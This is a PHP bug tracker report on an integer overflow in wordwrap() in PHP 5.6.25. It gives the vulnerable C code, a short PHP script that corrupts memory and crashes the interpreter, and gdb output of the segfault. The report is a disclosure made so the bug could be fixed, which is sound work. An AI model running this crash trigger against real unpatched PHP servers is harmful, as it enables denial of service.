memory corruption in wordwrap function
| Bug #73017 | memory corruption in wordwrap function | ||||
|---|---|---|---|---|---|
| Submitted: | 2016-09-05 07:32 UTC | Modified: | 2017-02-13 01:25 UTC | ||
| From: | minhrau dot vc dot 365 at gmail dot com | Assigned: | stas (profile) | ||
| Status: | Closed | Package: | Strings related | ||
| PHP Version: | 5.6.25 | OS: | ALL | ||
| Private report: | No | CVE-ID: | None | ||
[2016-09-05 07:32 UTC] minhrau dot vc dot 365 at gmail dot com
Description:
------------
integer overflow cause memory corruption in wordwrap function:
PHP_FUNCTION(wordwrap)
{
const char *text, *breakchar = "\n";
char *newtext;
int textlen, breakcharlen = 1, newtextlen, chk;
size_t alloced;
long current = 0, laststart = 0, lastspace = 0;
long linelength = 75;
zend_bool docut = 0;
if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|lsb", &text, &textlen, &linelength, &breakchar, &breakcharlen, &docut) == FAILURE) {
return;
}
....
RETURN_STRINGL(newtext, textlen, 0);
} else {
/* Multiple character line break or forced cut */
if (linelength > 0) {
chk = (int)(textlen/linelength + 1);
newtext = safe_emalloc(chk, breakcharlen, textlen + 1);
alloced = textlen + chk * breakcharlen + 1;
} else {
chk = textlen;
alloced = textlen * (breakcharlen + 1) + 1;
newtext = safe_emalloc(textlen, (breakcharlen + 1), 1);
}
/* now keep track of the actual new text length */
newtextlen = 0;
laststart = lastspace = 0;
...
else if (current - laststart >= linelength
&& laststart < lastspace) {
memcpy(newtext+newtextlen, text+laststart, lastspace-laststart);//newtextlen will be negative and cause memory access violation
newtextlen += lastspace - laststart;
memcpy(newtext+newtextlen, breakchar, breakcharlen);
newtextlen += breakcharlen;
laststart = lastspace = lastspace + 1;
chk--;
}
}
Test script:
---------------
<?php
ini_set('memory_limit', -1);
$text = "The quick brown fox jumped over the lazy dog.";
$str = str_repeat($text, 0xffffffff/(100*2*strlen($text)));
var_dump(strlen($str));
$str1 = wordwrap($str, 20, str_repeat("a", 0xff1));
?>
Expected result:
----------------
No Crash
Actual result:
--------------
Break at string.c:995 and make this command:
commands 1
Type commands for breakpoint(s) 1, one per line.
End with a line saying just "end".
p newtext+newtextlen
p text+laststart
p newtextlen
p laststart
p lastspace-laststart
c
end
Starting program: /home/minhrau/PHP-5.6.25/sapi/cli/php testwordwrap_negative.php
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/usr/lib/libthread_db.so.1".
int(21474810)
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff0e0fe1a in __memcpy_avx_unaligned () from /usr/lib/libc.so.6
(gdb) bt
#0 0x00007ffff0e0fe1a in __memcpy_avx_unaligned () from /usr/lib/libc.so.6
#1 0x00000000008636dc in zif_wordwrap (ht=3, return_value=0x7ffff7fa0d68, return_value_ptr=0x7ffff7f6b140, this_ptr=0x0, return_value_used=1) at /home/minhrau/PHP-5.6.25/ext/standard/string.c:995
#2 0x00000000009d7844 in zend_do_fcall_common_helper_SPEC (execute_data=0x7ffff7f6b2b8) at /home/minhrau/PHP-5.6.25/Zend/zend_vm_execute.h:558
#3 0x00000000009df474 in ZEND_DO_FCALL_SPEC_CONST_HANDLER (execute_data=0x7ffff7f6b2b8) at /home/minhrau/PHP-5.6.25/Zend/zend_vm_execute.h:2602
#4 0x00000000009d5d37 in execute_ex (execute_data=0x7ffff7f6b2b8) at /home/minhrau/PHP-5.6.25/Zend/zend_vm_execute.h:363
#5 0x00000000009d6723 in zend_execute (op_array=0x7ffff7f9f858) at /home/minhrau/PHP-5.6.25/Zend/zend_vm_execute.h:388
#6 0x0000000000991c23 in zend_execute_scripts (type=8, retval=0x0, file_count=3) at /home/minhrau/PHP-5.6.25/Zend/zend.c:1341
#7 0x0000000000902b7f in php_execute_script (primary_file=0x7fffffffe2a0) at /home/minhrau/PHP-5.6.25/main/main.c:2613
#8 0x0000000000ab4902 in do_cli (argc=2, argv=0x1390960) at /home/minhrau/PHP-5.6.25/sapi/cli/php_cli.c:994
#9 0x0000000000ab5950 in main (argc=2, argv=0x1390960) at /home/minhrau/PHP-5.6.25/sapi/cli/php_cli.c:1378
Breakpoint 1, zif_wordwrap (ht=3, return_value=0x7ffff7fa2330, return_value_ptr=0x7ffff7f6c100, this_ptr=0x0, return_value_used=1) at /home/minhrau/PHP-5.6.25/ext/standard/string.c:995
995 memcpy(newtext+newtextlen, text+laststart, lastspace-laststart);
$2620156 = 0x7fff68af1e35 ""
$2620157 = 0x7fffefb71e35 "dog.The quick brown fox jumped over the lazy dog.The quick brown fox jumped over the lazy dog.The quick brown fox jumped over the lazy dog.The quick brown fox jumped over the lazy dog.The quick brown "...
$2620158 = 2147483141
$2620159 = 9432581
$2620160 = 19
Breakpoint 1, zif_wordwrap (ht=3, return_value=0x7ffff7fa2330, return_value_ptr=0x7ffff7f6c100, this_ptr=0x0, return_value_used=1) at /home/minhrau/PHP-5.6.25/ext/standard/string.c:995
995 memcpy(newtext+newtextlen, text+laststart, lastspace-laststart);
$2620161 = 0x7ffe68af2e39 <error: Cannot access memory at address 0x7ffe68af2e39>
$2620162 = 0x7fffefb71e49 "fox jumped over the lazy dog.The quick brown fox jumped over the lazy dog.The quick brown fox jumped over the lazy dog.The quick brown fox jumped over the lazy dog.The quick brown fox jumped over the "...
$2620163 = -2147480055
$2620164 = 9432601
$2620165 = 19
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff11ff7f8 in __memmove_avx_unaligned_erms () from /usr/lib/libc.so.6
(gdb)
Patches
Pull Requests
History
AllCommentsChangesGit/SVN commits
[2016-09-06 01:11 UTC] stas@php.net
-Assigned To: +Assigned To: stas
[2016-09-13 04:12 UTC] stas@php.net
-Status: Assigned +Status: Closed
[2016-09-13 04:12 UTC] stas@php.net
[2016-10-03 07:33 UTC] minhrau dot vc dot 365 at gmail dot com
-Status: Closed +Status: Assigned
[2016-10-03 07:33 UTC] minhrau dot vc dot 365 at gmail dot com
[2016-10-03 07:34 UTC] minhrau dot vc dot 365 at gmail dot com
-Status: Assigned +Status: Open
[2016-10-03 07:34 UTC] minhrau dot vc dot 365 at gmail dot com
[2016-10-03 23:53 UTC] stas@php.net
[2016-10-04 01:07 UTC] stas@php.net
-Status: Assigned +Status: Closed
[2017-02-13 01:25 UTC] stas@php.net
-Type: Security +Type: Bug